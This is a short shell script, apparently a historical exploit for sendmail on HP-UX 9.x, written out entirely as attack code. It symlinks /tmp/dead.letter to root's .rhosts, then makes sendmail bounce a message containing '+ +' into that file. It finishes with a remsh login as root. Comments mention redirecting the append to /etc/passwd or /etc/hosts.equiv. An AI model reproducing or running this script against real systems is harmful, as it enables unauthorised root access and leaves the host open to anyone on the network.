#!/bin/sh # This works on virgin HPUX 9.x sendmail.cf # The link can be set to any file on the system, it will append the contents # of the email to the linked file (/etc/passwd, /etc/hosts.equiv, /.rhosts).. # - sirsyko r00tDIR=`grep root /etc/passwd |cut -f6 -d:` RunDMC=`hostname` if [ -f /tmp/dead.letter ]; then rm /tmp/dead.letter fi if [ -f /tmp/dead.letter ]; then echo "Sorry, aint gonna work" exit fi ln -s ${r00tDIR}/.rhosts /tmp/dead.letter ( sleep 1 echo "helo" echo "mail from: noone" echo "rcpt to: noone@bounce" echo "data" echo "+ +" echo "." sleep 3 echo "quit" ) | telnet ${RunDMC} 25 sleep 5 remsh ${RunDMC} -l root